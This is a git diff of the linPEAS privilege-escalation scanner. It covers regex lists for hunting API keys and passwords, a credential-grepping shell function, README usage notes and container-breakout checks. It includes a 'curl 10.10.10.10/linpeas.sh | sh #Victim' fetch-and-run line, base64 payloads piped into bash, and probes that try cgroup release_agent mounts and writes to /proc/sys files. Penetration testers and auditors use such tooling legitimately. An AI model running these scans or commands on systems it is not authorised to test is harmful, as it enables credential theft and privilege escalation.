|
||||||
regex: 'ya29\.[0-9A-Za-z_\-]+'
|
|
||||||
|
|
||||||
- name: Heroku API Key
|
|
||||||
regex: '[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}'
|
|
||||||
|
|
||||||
- name: LinkedIn Client ID
|
|
||||||
regex: >
|
|
||||||
linkedin(.{0,20})?['"][0-9a-z]{12}['"]
|
|
||||||
|
|
||||||
- name: LinkedIn Secret Key
|
|
||||||
regex: >
|
|
||||||
linkedin(.{0,20})?['"][0-9a-z]{16}['"]
|
|
||||||
|
|
||||||
- name: Mailchamp API Key
|
|
||||||
regex: '[0-9a-f]{32}-us[0-9]{1,2}'
|
|
||||||
|
|
||||||
- name: Mailgun API Key
|
|
||||||
regex: 'key-[0-9a-zA-Z]{32}'
|
|
||||||
|
|
||||||
- name: Picatic API Key
|
|
||||||
regex: 'sk_live_[0-9a-z]{32}'
|
|
||||||
|
|
||||||
- name: Slack Token
|
|
||||||
regex: 'xox[baprs]-([0-9a-zA-Z]{10,48})?'
|
|
||||||
|
|
||||||
#- name: Slack Webhook #Not interesting
|
|
||||||
# regex: 'https://hooks.slack.com/services/T[a-zA-Z0-9_]{10}/B[a-zA-Z0-9_]{10}/[a-zA-Z0-9_]{24}'
|
|
||||||
|
|
||||||
- name: Stripe API Key
|
|
||||||
regex: 'k_live_[0-9a-zA-Z]{24}'
|
|
||||||
|
|
||||||
- name: Square Access Token
|
|
||||||
regex: 'sqOatp-[0-9A-Za-z_\-]{22}'
|
|
||||||
|
|
||||||
- name: Square Oauth Secret
|
|
||||||
regex: 'sq0csp-[ 0-9A-Za-z_\-]{43}'
|
|
||||||
|
|
||||||
- name: Twilio API Key
|
|
||||||
regex: 'SK[0-9a-fA-F]{32}'
|
|
||||||
|
|
||||||
- name: Twitter Client ID
|
|
||||||
regex: >
|
|
||||||
[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['"][0-9a-z]{18,25}
|
|
||||||
|
|
||||||
- name: Twitter Oauth
|
|
||||||
regex: >
|
|
||||||
[tT][wW][iI][tT][tT][eE][rR].{0,30}['"\\s][0-9a-zA-Z]{35,44}['"\\s]
|
|
||||||
|
|
||||||
- name: Twitter Secret Key
|
|
||||||
regex: >
|
|
||||||
[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['"][0-9a-z]{35,44}
|
|
||||||
|
|
||||||
#- name: Vault Token #False +
|
|
||||||
# regex: '[sb]\.[a-zA-Z0-9]{24}'
|
|
||||||
|
|
||||||
|
|
||||||
# Misc
|
|
||||||
- name: Misc
|
|
||||||
regexes:
|
|
||||||
- name: Basic Auth
|
|
||||||
regex: '//(.+):(.+)@'
|
|
||||||
|
|
||||||
- name: Passwords1
|
|
||||||
regex: (pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)
|
|
||||||
|
|
||||||
#- name: Passwords2
|
|
||||||
# regex: 'passwd|creden|pwd'
|
|
||||||
|
|
||||||
- name: Usernames
|
|
||||||
regex: 'username.*[=:].+'
|
|
||||||
|
|
||||||
#- name: IPs
|
|
||||||
# regex: '(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)'
|
|
||||||
|
|
||||||
#- name: Emails # Too many false positives
|
|
||||||
# regex: '[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}'
|
|
||||||
File diff suppressed because it is too large
Load Diff
@@ -22,7 +22,7 @@ curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas
|
|||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Local network
|
# Local network
|
||||||
sudo python -m SimpleHTTPServer 80 #Host
|
sudo python3 -m http.server 80 #Host
|
||||||
curl 10.10.10.10/linpeas.sh | sh #Victim
|
curl 10.10.10.10/linpeas.sh | sh #Victim
|
||||||
|
|
||||||
# Without curl
|
# Without curl
|
||||||
@@ -101,30 +101,41 @@ By default linpeas takes around **4 mins** to complete, but It could take from *
|
|||||||
- **-D** (Debug) - Print information about the checks that haven't discovered anything and about the time each check took
|
- **-D** (Debug) - Print information about the checks that haven't discovered anything and about the time each check took
|
||||||
- **-d/-p/-i/-t** (Local Network Enumeration) - Linpeas can also discover and port-scan local networks
|
- **-d/-p/-i/-t** (Local Network Enumeration) - Linpeas can also discover and port-scan local networks
|
||||||
|
|
||||||
This script has **several lists** included inside of it to be able to **color the results** in order to highlight PE vector.
|
**It's recommended to use the params `-a` and `-r` if you are looking for a complete and intensive scan**.
|
||||||
|
|
||||||
```
|
```
|
||||||
Enumerate and search Privilege Escalation vectors.
|
Enumerate and search Privilege Escalation vectors.
|
||||||
This tool enum and search possible misconfigurations (known vulns, user, processes and file permissions, special file permissions, readable/writable files, bruteforce other users(top1000pwds), passwords...) inside the host and highlight possible misconfigurations with colors.
|
This tool enum and search possible misconfigurations (known vulns, user, processes and file permissions, special file permissions, readable/writable files, bruteforce other users(top1000pwds), passwords...) inside the host and highlight possible misconfigurations with colors.
|
||||||
-h To show this message
|
Checks:
|
||||||
-q Do not show banner
|
-o Only execute selected checks (system_information,container,cloud,procs_crons_timers_srvcs_sockets,network_information,users_information,software_information,interesting_files,api_keys_regex). Select a comma separated list.
|
||||||
-e Perform extra enumeration
|
-s Stealth & faster (don't check some time consuming checks)
|
||||||
-s SuperFast (don't check some time consuming checks) - Stealth mode
|
-e Perform extra enumeration
|
||||||
-a All checks except regexes - Noisy mode, for CTFs mainly
|
-t Automatic network scan & Internet conectivity checks - This option writes to files
|
||||||
-r Activate Regexes (this can take from some mins to several hours)
|
-r Enable Regexes (this can take from some mins to hours)
|
||||||
-f </FOLDER/PATH> Execute linpeas to search passwords/file permissions misconfigs inside a folder
|
-P Indicate a password that will be used to run 'sudo -l' and to bruteforce other users accounts via 'su'
|
||||||
-w Wait execution between big blocks of checks
|
-D Debug mode
|
||||||
-N Do not use colours
|
|
||||||
-D Debug mode
|
Network recon:
|
||||||
-P Indicate a password that will be used to run 'sudo -l' and to bruteforce other users accounts via 'su'
|
-t Automatic network scan & Internet conectivity checks - This option writes to files
|
||||||
-o Only execute selected checks (system_information,container,procs_crons_timers_srvcs_sockets,network_information,users_information,software_information,interesting_files,api_keys_regex). Select a comma separated list.
|
-d <IP/NETMASK> Discover hosts using fping or ping. Ex: -d 192.168.0.1/24
|
||||||
-L Force linpeas execution.
|
-p <PORT(s)> -d <IP/NETMASK> Discover hosts looking for TCP open ports (via nc). By default ports 22,80,443,445,3389 and another one indicated by you will be scanned (select 22 if you don't want to add more). You can also add a list of ports. Ex: -d 192.168.0.1/24 -p 53,139
|
||||||
-M Force macpeas execution.
|
-i <IP> [-p <PORT(s)>] Scan an IP using nc. By default (no -p), top1000 of nmap will be scanned, but you can select a list of ports instead. Ex: -i 127.0.0.1 -p 53,80,443,8000,8080
|
||||||
-d <IP/NETMASK> Discover hosts using fping or ping. Ex: -d 192.168.0.1/24
|
Notice that if you specify some network scan (options -d/-p/-i but NOT -t), no PE check will be performed
|
||||||
-p <PORT(s)> -d <IP/NETMASK> Discover hosts looking for TCP open ports (via nc). By default ports 22,80,443,445,3389 and another one indicated by you will be scanned (select 22 if you don't want to add more). You can also add a list of ports. Ex: -d 192.168.0.1/24 -p 53,139
|
|
||||||
-i <IP> [-p <PORT(s)>] Scan an IP using nc. By default (no -p), top1000 of nmap will be scanned, but you can select a list of ports instead. Ex: -i 127.0.0.1 -p 53,80,443,8000,8080
|
Port forwarding:
|
||||||
-t Automatic network scan (host discovery and port scanning) - This option writes to files
|
-F LOCAL_IP:LOCAL_PORT:REMOTE_IP:REMOTE_PORT Execute linpeas to forward a port from a local IP to a remote IP
|
||||||
Notice that if you specify some network scan (options -d/-p/-i but NOT -t), no PE check will be performed
|
|
||||||
|
Firmware recon:
|
||||||
|
-f </FOLDER/PATH> Execute linpeas to search passwords/file permissions misconfigs inside a folder
|
||||||
|
|
||||||
|
Misc:
|
||||||
|
-h To show this message
|
||||||
|
-w Wait execution between big blocks of checks
|
||||||
|
-L Force linpeas execution
|
||||||
|
-M Force macpeas execution
|
||||||
|
-q Do not show banner
|
||||||
|
-N Do not use colours
|
||||||
|
|
||||||
```
|
```
|
||||||
|
|
||||||
## Hosts Discovery and Port Scanning
|
## Hosts Discovery and Port Scanning
|
||||||
|
|||||||
4622
linPEAS/builder/linpeas_base.sh
Normal file
4622
linPEAS/builder/linpeas_base.sh
Normal file
File diff suppressed because one or more lines are too long
49
linPEAS/builder/linpeas_parts/10_api_keys_regex.sh
Normal file
49
linPEAS/builder/linpeas_parts/10_api_keys_regex.sh
Normal file
@@ -0,0 +1,49 @@
|
|||||||
|
|
||||||
|
search_for_regex(){
|
||||||
|
title=$1
|
||||||
|
regex=$2
|
||||||
|
caseSensitive=$3
|
||||||
|
|
||||||
|
if [ "$caseSensitive" ]; then
|
||||||
|
i="i"
|
||||||
|
else
|
||||||
|
i=""
|
||||||
|
fi
|
||||||
|
|
||||||
|
print_3title_no_nl "Searching $title..."
|
||||||
|
|
||||||
|
if [ "$SEARCH_IN_FOLDER" ]; then
|
||||||
|
timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &
|
||||||
|
else
|
||||||
|
# Search in home direcoties (usually the slowest)
|
||||||
|
timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &
|
||||||
|
|
||||||
|
# Search in etc
|
||||||
|
timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &
|
||||||
|
|
||||||
|
# Search in opt
|
||||||
|
timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &
|
||||||
|
|
||||||
|
# Search in possible web folders (usually only 1 will exist)
|
||||||
|
timeout 120 find /var/www /usr/local/www /usr/share/nginx /Library/WebServer/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &
|
||||||
|
|
||||||
|
# Search in logs
|
||||||
|
timeout 120 find /var/log /var/logs /Library/Logs -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &
|
||||||
|
|
||||||
|
# Search in backups
|
||||||
|
timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &
|
||||||
|
|
||||||
|
# Search in others folders (usually only /srv or /Applications will exist)
|
||||||
|
timeout 120 find /tmp /srv /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &
|
||||||
|
fi
|
||||||
|
wait
|
||||||
|
printf "\033[2K\r"
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
if [ "$REGEXES" ] && [ "$TIMEOUT" ]; then
|
||||||
|
peass{REGEXES}
|
||||||
|
else
|
||||||
|
echo "Regexes to search for API keys aren't activated, use param '-r' "
|
||||||
|
fi
|
||||||
@@ -21,33 +21,6 @@ else echo_not_found "sudo"
|
|||||||
fi
|
fi
|
||||||
echo ""
|
echo ""
|
||||||
|
|
||||||
#-- SY) CVEs
|
|
||||||
print_2title "CVEs Check"
|
|
||||||
|
|
||||||
#-- SY) CVE-2021-4034
|
|
||||||
if [ `command -v pkexec` ] && stat -c '%a' $(which pkexec) | grep -q 4755 && [ "$(stat -c '%Y' $(which pkexec))" -lt "1642035600" ]; then
|
|
||||||
echo "Vulnerable to CVE-2021-4034" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
|
||||||
echo ""
|
|
||||||
fi
|
|
||||||
|
|
||||||
#-- SY) CVE-2021-3560
|
|
||||||
polkitVersion=$(systemctl status polkit.service 2>/dev/null | grep version | cut -d " " -f 9)
|
|
||||||
if [ "$(apt list --installed 2>/dev/null | grep polkit | grep -c 0.105-26)" -ge 1 ] || [ "$(yum list installed 2>/dev/null | grep polkit | grep -c 0.117-2)" -ge 1 ]; then
|
|
||||||
echo "Vulnerable to CVE-2021-3560" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
|
||||||
echo ""
|
|
||||||
fi
|
|
||||||
|
|
||||||
#-- SY) CVE-2022-0847
|
|
||||||
#-- https://dirtypipe.cm4all.com/
|
|
||||||
#-- https://stackoverflow.com/a/37939589
|
|
||||||
kernelversion=$(uname -r | awk -F"-" '{print $1}')
|
|
||||||
kernelnumber=$(echo $kernelversion | awk -F. '{ printf("%d%03d%03d%03d\n", $1,$2,$3,$4); }')
|
|
||||||
if [ $kernelnumber -ge 5008000000 ] && [ $kernelnumber -lt 5017000000 ]; then # if kernel version beteen 5.8 and 5.17
|
|
||||||
echo "Vulnerable to CVE-2022-0847" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
|
||||||
echo ""
|
|
||||||
fi
|
|
||||||
echo ""
|
|
||||||
|
|
||||||
#--SY) USBCreator
|
#--SY) USBCreator
|
||||||
if (busctl list 2>/dev/null | grep -q com.ubuntu.USBCreator) || [ "$DEBUG" ]; then
|
if (busctl list 2>/dev/null | grep -q com.ubuntu.USBCreator) || [ "$DEBUG" ]; then
|
||||||
print_2title "USBCreator"
|
print_2title "USBCreator"
|
||||||
@@ -74,9 +47,10 @@ print_2title "PATH"
|
|||||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-path-abuses"
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-path-abuses"
|
||||||
if ! [ "$IAMROOT" ]; then
|
if ! [ "$IAMROOT" ]; then
|
||||||
echo "$OLDPATH" 2>/dev/null | sed -${E} "s,$Wfolders|\./|\.:|:\.,${SED_RED_YELLOW},g"
|
echo "$OLDPATH" 2>/dev/null | sed -${E} "s,$Wfolders|\./|\.:|:\.,${SED_RED_YELLOW},g"
|
||||||
echo "New path exported: $PATH" 2>/dev/null | sed -${E} "s,$Wfolders|\./|\.:|:\. ,${SED_RED_YELLOW},g"
|
fi
|
||||||
else
|
|
||||||
echo "New path exported: $PATH" 2>/dev/null
|
if [ "$DEBUG" ]; then
|
||||||
|
echo "New path exported: $PATH"
|
||||||
fi
|
fi
|
||||||
echo ""
|
echo ""
|
||||||
|
|
||||||
@@ -125,141 +99,3 @@ if [ "$(command -v smbutil)" ] || [ "$DEBUG" ]; then
|
|||||||
warn_exec smbutil statshares -a
|
warn_exec smbutil statshares -a
|
||||||
echo ""
|
echo ""
|
||||||
fi
|
fi
|
||||||
|
|
||||||
#-- SY) Environment vars
|
|
||||||
print_2title "Environment"
|
|
||||||
print_info "Any private information inside environment variables?"
|
|
||||||
(env || printenv || set) 2>/dev/null | grep -v "RELEVANT*|FIND*|^VERSION=|dbuslistG|mygroups|ldsoconfdG|pwd_inside_history|kernelDCW_Ubuntu_Precise|kernelDCW_Ubuntu_Trusty|kernelDCW_Ubuntu_Xenial|kernelDCW_Rhel|^sudovB=|^rootcommon=|^mounted=|^mountG=|^notmounted=|^mountpermsB=|^mountpermsG=|^kernelB=|^C=|^RED=|^GREEN=|^Y=|^B=|^NC=|TIMEOUT=|groupsB=|groupsVB=|knw_grps=|sidG|sidB=|sidVB=|sidVB2=|sudoB=|sudoG=|sudoVB=|timersG=|capsB=|notExtensions=|Wfolders=|writeB=|writeVB=|_usrs=|compiler=|PWD=|LS_COLORS=|pathshG=|notBackup=|processesDump|processesB|commonrootdirs|USEFUL_SOFTWARE|PSTORAGE_KUBERNETES" | sed -${E} "s,[pP][wW][dD]|[pP][aA][sS][sS][wW]|[aA][pP][iI][kK][eE][yY]|[aA][pP][iI][_][kK][eE][yY]|KRB5CCNAME,${SED_RED},g" || echo_not_found "env || set"
|
|
||||||
echo ""
|
|
||||||
|
|
||||||
#-- SY) Dmesg
|
|
||||||
if [ "$(command -v dmesg 2>/dev/null)" ] || [ "$DEBUG" ]; then
|
|
||||||
print_2title "Searching Signature verification failed in dmesg"
|
|
||||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#dmesg-signature-verification-failed"
|
|
||||||
(dmesg 2>/dev/null | grep "signature") || echo_not_found "dmesg"
|
|
||||||
echo ""
|
|
||||||
fi
|
|
||||||
|
|
||||||
#-- SY) Kernel extensions
|
|
||||||
if [ "$MACPEAS" ]; then
|
|
||||||
print_2title "Kernel Extensions not belonging to apple"
|
|
||||||
kextstat 2>/dev/null | grep -Ev " com.apple."
|
|
||||||
|
|
||||||
print_2title "Unsigned Kernel Extensions"
|
|
||||||
macosNotSigned /Library/Extensions
|
|
||||||
macosNotSigned /System/Library/Extensions
|
|
||||||
fi
|
|
||||||
|
|
||||||
if [ "$(command -v bash 2>/dev/null)" ]; then
|
|
||||||
print_2title "Executing Linux Exploit Suggester"
|
|
||||||
print_info "https://github.com/mzet-/linux-exploit-suggester"
|
|
||||||
les_b64="peass{LES}"
|
|
||||||
echo $les_b64 | base64 -d | bash | sed "s,$(printf '\033')\\[[0-9;]*[a-zA-Z],,g" | grep -i "\[CVE" -A 10 | grep -Ev "^\-\-$" | sed -${E} "s,\[CVE-[0-9]+-[0-9]+\].*,${SED_RED},g"
|
|
||||||
echo ""
|
|
||||||
fi
|
|
||||||
|
|
||||||
if [ "$(command -v perl 2>/dev/null)" ]; then
|
|
||||||
print_2title "Executing Linux Exploit Suggester 2"
|
|
||||||
print_info "https://github.com/jondonas/linux-exploit-suggester-2"
|
|
||||||
les2_b64="peass{LES2}"
|
|
||||||
echo $les2_b64 | base64 -d | perl | sed "s,$(printf '\033')\\[[0-9;]*[a-zA-Z],,g" | grep -i "CVE" -B 1 -A 10 | grep -Ev "^\-\-$" | sed -${E} "s,CVE-[0-9]+-[0-9]+,${SED_RED},g"
|
|
||||||
echo ""
|
|
||||||
fi
|
|
||||||
|
|
||||||
if [ "$MACPEAS" ] && [ "$(command -v brew 2>/dev/null)" ]; then
|
|
||||||
print_2title "Brew Doctor Suggestions"
|
|
||||||
brew doctor
|
|
||||||
echo ""
|
|
||||||
fi
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
#-- SY) AppArmor
|
|
||||||
print_2title "Protections"
|
|
||||||
print_list "AppArmor enabled? .............. "$NC
|
|
||||||
if [ "$(command -v aa-status 2>/dev/null)" ]; then
|
|
||||||
aa-status 2>&1 | sed "s,disabled,${SED_RED},"
|
|
||||||
elif [ "$(command -v apparmor_status 2>/dev/null)" ]; then
|
|
||||||
apparmor_status 2>&1 | sed "s,disabled,${SED_RED},"
|
|
||||||
elif [ "$(ls -d /etc/apparmor* 2>/dev/null)" ]; then
|
|
||||||
ls -d /etc/apparmor*
|
|
||||||
else
|
|
||||||
echo_not_found "AppArmor"
|
|
||||||
fi
|
|
||||||
|
|
||||||
#-- SY) grsecurity
|
|
||||||
print_list "grsecurity present? ............ "$NC
|
|
||||||
( (uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo_not_found "grsecurity")
|
|
||||||
|
|
||||||
#-- SY) PaX
|
|
||||||
print_list "PaX bins present? .............. "$NC
|
|
||||||
(command -v paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo_not_found "PaX")
|
|
||||||
|
|
||||||
#-- SY) Execshield
|
|
||||||
print_list "Execshield enabled? ............ "$NC
|
|
||||||
(grep "exec-shield" /etc/sysctl.conf 2>/dev/null || echo_not_found "Execshield") | sed "s,=0,${SED_RED},"
|
|
||||||
|
|
||||||
#-- SY) SElinux
|
|
||||||
print_list "SELinux enabled? ............... "$NC
|
|
||||||
(sestatus 2>/dev/null || echo_not_found "sestatus") | sed "s,disabled,${SED_RED},"
|
|
||||||
|
|
||||||
#-- SY) Seccomp
|
|
||||||
print_list "Seccomp enabled? ............... "$NC
|
|
||||||
([ "$(grep Seccomp /proc/self/status | grep -v 0)" ] && echo "enabled" || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,enabled,${SED_GREEN},"
|
|
||||||
|
|
||||||
#-- SY) AppArmor
|
|
||||||
print_list "AppArmor profile? .............. "$NC
|
|
||||||
(cat /proc/self/attr/current 2>/dev/null || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,kernel,${SED_GREEN},"
|
|
||||||
|
|
||||||
#-- SY) AppArmor
|
|
||||||
print_list "User namespace? ................ "$NC
|
|
||||||
if [ "$(cat /proc/self/uid_map 2>/dev/null)" ]; then echo "enabled" | sed "s,enabled,${SED_GREEN},"; else echo "disabled" | sed "s,disabled,${SED_RED},"; fi
|
|
||||||
|
|
||||||
#-- SY) cgroup2
|
|
||||||
print_list "Cgroup2 enabled? ............... "$NC
|
|
||||||
([ "$(grep cgroup2 /proc/filesystems)" ] && echo "enabled" || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,enabled,${SED_GREEN},"
|
|
||||||
|
|
||||||
#-- SY) Gatekeeper
|
|
||||||
if [ "$MACPEAS" ]; then
|
|
||||||
print_list "Gatekeeper enabled? .......... "$NC
|
|
||||||
(spctl --status 2>/dev/null || echo_not_found "sestatus") | sed "s,disabled,${SED_RED},"
|
|
||||||
|
|
||||||
print_list "sleepimage encrypted? ........ "$NC
|
|
||||||
(sysctl vm.swapusage | grep "encrypted" | sed "s,encrypted,${SED_GREEN},") || echo_no
|
|
||||||
|
|
||||||
print_list "XProtect? .................... "$NC
|
|
||||||
(system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistConfigData" | tail -n 5 | grep -Iv "^$") || echo_no
|
|
||||||
|
|
||||||
print_list "SIP enabled? ................. "$NC
|
|
||||||
csrutil status | sed "s,enabled,${SED_GREEN}," | sed "s,disabled,${SED_RED}," || echo_no
|
|
||||||
|
|
||||||
print_list "Connected to JAMF? ........... "$NC
|
|
||||||
warn_exec jamf checkJSSConnection
|
|
||||||
|
|
||||||
print_list "Connected to AD? ............. "$NC
|
|
||||||
dsconfigad -show && echo "" || echo_no
|
|
||||||
fi
|
|
||||||
|
|
||||||
#-- SY) ASLR
|
|
||||||
print_list "Is ASLR enabled? ............... "$NC
|
|
||||||
ASLR=$(cat /proc/sys/kernel/randomize_va_space 2>/dev/null)
|
|
||||||
if [ -z "$ASLR" ]; then
|
|
||||||
echo_not_found "/proc/sys/kernel/randomize_va_space";
|
|
||||||
else
|
|
||||||
if [ "$ASLR" -eq "0" ]; then printf $RED"No"$NC; else printf $GREEN"Yes"$NC; fi
|
|
||||||
echo ""
|
|
||||||
fi
|
|
||||||
|
|
||||||
#-- SY) Printer
|
|
||||||
print_list "Printer? ....................... "$NC
|
|
||||||
(lpstat -a || system_profiler SPPrintersDataType || echo_no) 2>/dev/null
|
|
||||||
|
|
||||||
#-- SY) Running in a virtual environment
|
|
||||||
print_list "Is this a virtual machine? ..... "$NC
|
|
||||||
hypervisorflag=$(grep flags /proc/cpuinfo 2>/dev/null | grep hypervisor)
|
|
||||||
if [ "$(command -v systemd-detect-virt 2>/dev/null)" ]; then
|
|
||||||
detectedvirt=$(systemd-detect-virt)
|
|
||||||
if [ "$hypervisorflag" ]; then printf $RED"Yes ($detectedvirt)"$NC; else printf $GREEN"No"$NC; fi
|
|
||||||
else
|
|
||||||
if [ "$hypervisorflag" ]; then printf $RED"Yes"$NC; else printf $GREEN"No"$NC; fi
|
|
||||||
fi
|
|
||||||
|
|||||||
@@ -77,7 +77,7 @@ enumerateDockerSockets() {
|
|||||||
dockerVersion="$(echo_not_found)"
|
dockerVersion="$(echo_not_found)"
|
||||||
if ! [ "$SEARCHED_DOCKER_SOCKETS" ]; then
|
if ! [ "$SEARCHED_DOCKER_SOCKETS" ]; then
|
||||||
SEARCHED_DOCKER_SOCKETS="1"
|
SEARCHED_DOCKER_SOCKETS="1"
|
||||||
for int_sock in $(find / ! -path "/sys/*" -type s -name "docker.sock" -o -name "docker.socket" -o -name "dockershim.sock" -n -name "containerd.sock" -o -name "crio.sock" -o -name "frakti.sock" -o -name "rktlet.sock" 2>/dev/null); do
|
for int_sock in $(find / ! -path "/sys/*" -type s -name "docker.sock" -o -name "docker.socket" -o -name "dockershim.sock" -o -name "containerd.sock" -o -name "crio.sock" -o -name "frakti.sock" -o -name "rktlet.sock" 2>/dev/null); do
|
||||||
if ! [ "$IAMROOT" ] && [ -w "$int_sock" ]; then
|
if ! [ "$IAMROOT" ] && [ -w "$int_sock" ]; then
|
||||||
if echo "$int_sock" | grep -Eq "docker"; then
|
if echo "$int_sock" | grep -Eq "docker"; then
|
||||||
dock_sock="$int_sock"
|
dock_sock="$int_sock"
|
||||||
@@ -137,16 +137,58 @@ checkContainerExploits() {
|
|||||||
fi
|
fi
|
||||||
}
|
}
|
||||||
|
|
||||||
checkProcSysBreakouts(){
|
checkCreateReleaseAgent(){
|
||||||
if [ "$(ls -l /sys/fs/cgroup/*/release_agent 2>/dev/null)" ]; then release_agent_breakout1="Yes"; else release_agent_breakout1="No"; fi
|
cat /proc/$$/cgroup 2>/dev/null | grep -Eo '[0-9]+:[^:]+' | grep -Eo '[^:]+$' | while read -r subsys
|
||||||
|
do
|
||||||
|
if unshare -UrmC --propagation=unchanged bash -c "mount -t cgroup -o $subsys cgroup /tmp/cgroup_3628d4 2>&1 >/dev/null && test -w /tmp/cgroup_3628d4/release_agent" >/dev/null 2>&1 ; then
|
||||||
|
release_agent_breakout2="Yes (unshare with $subsys)";
|
||||||
|
rm -rf /tmp/cgroup_3628d4
|
||||||
|
break
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
}
|
||||||
|
|
||||||
|
checkProcSysBreakouts(){
|
||||||
|
dev_mounted="No"
|
||||||
|
if [ $(ls -l /dev | grep -E "^c" | wc -l) -gt 50 ]; then
|
||||||
|
dev_mounted="Yes";
|
||||||
|
fi
|
||||||
|
|
||||||
|
proc_mounted="No"
|
||||||
|
if [ $(ls /proc | grep -E "^[0-9]" | wc -l) -gt 50 ]; then
|
||||||
|
proc_mounted="Yes";
|
||||||
|
fi
|
||||||
|
|
||||||
|
run_unshare=$(unshare -UrmC bash -c 'echo -n Yes' 2>/dev/null)
|
||||||
|
if ! [ "$run_unshare" = "Yes" ]; then
|
||||||
|
run_unshare="No"
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [ "$(ls -l /sys/fs/cgroup/*/release_agent 2>/dev/null)" ]; then
|
||||||
|
release_agent_breakout1="Yes"
|
||||||
|
else
|
||||||
|
release_agent_breakout1="No"
|
||||||
|
fi
|
||||||
|
|
||||||
|
release_agent_breakout2="No"
|
||||||
mkdir /tmp/cgroup_3628d4
|
mkdir /tmp/cgroup_3628d4
|
||||||
mount -t cgroup -o memory cgroup /tmp/cgroup_3628d4 2>/dev/null
|
mount -t cgroup -o memory cgroup /tmp/cgroup_3628d4 2>/dev/null
|
||||||
if [ $? -eq 0 ]; then release_agent_breakout2="Yes"; else release_agent_breakout2="No"; fi
|
if [ $? -eq 0 ]; then
|
||||||
|
release_agent_breakout2="Yes";
|
||||||
|
rm -rf /tmp/cgroup_3628d4
|
||||||
|
else
|
||||||
|
mount -t cgroup -o rdma cgroup /tmp/cgroup_3628d4 2>/dev/null
|
||||||
|
if [ $? -eq 0 ]; then
|
||||||
|
release_agent_breakout2="Yes";
|
||||||
|
rm -rf /tmp/cgroup_3628d4
|
||||||
|
else
|
||||||
|
checkCreateReleaseAgent
|
||||||
|
fi
|
||||||
|
fi
|
||||||
rm -rf /tmp/cgroup_3628d4 2>/dev/null
|
rm -rf /tmp/cgroup_3628d4 2>/dev/null
|
||||||
|
|
||||||
core_pattern_breakout="$( (echo -n '' > /proc/sys/kernel/core_pattern && echo Yes) 2>/dev/null || echo No)"
|
core_pattern_breakout="$( (echo -n '' > /proc/sys/kernel/core_pattern && echo Yes) 2>/dev/null || echo No)"
|
||||||
modprobe_present="$(ls -l `cat /proc/sys/kernel/modprobe` || echo No)"
|
modprobe_present="$(ls -l `cat /proc/sys/kernel/modprobe` 2>/dev/null || echo No)"
|
||||||
panic_on_oom_dos="$( (echo -n '' > /proc/sys/vm/panic_on_oom && echo Yes) 2>/dev/null || echo No)"
|
panic_on_oom_dos="$( (echo -n '' > /proc/sys/vm/panic_on_oom && echo Yes) 2>/dev/null || echo No)"
|
||||||
panic_sys_fs_dos="$( (echo -n '' > /proc/sys/fs/suid_dumpable && echo Yes) 2>/dev/null || echo No)"
|
panic_sys_fs_dos="$( (echo -n '' > /proc/sys/fs/suid_dumpable && echo Yes) 2>/dev/null || echo No)"
|
||||||
binfmt_misc_breakout="$( (echo -n '' > /proc/sys/fs/binfmt_misc/register && echo Yes) 2>/dev/null || echo No)"
|
binfmt_misc_breakout="$( (echo -n '' > /proc/sys/fs/binfmt_misc/register && echo Yes) 2>/dev/null || echo No)"
|
||||||
@@ -176,7 +218,7 @@ checkProcSysBreakouts(){
|
|||||||
##############################################
|
##############################################
|
||||||
containerCheck
|
containerCheck
|
||||||
|
|
||||||
print_2title "Container related tools present"
|
print_2title "Container related tools present (if any):"
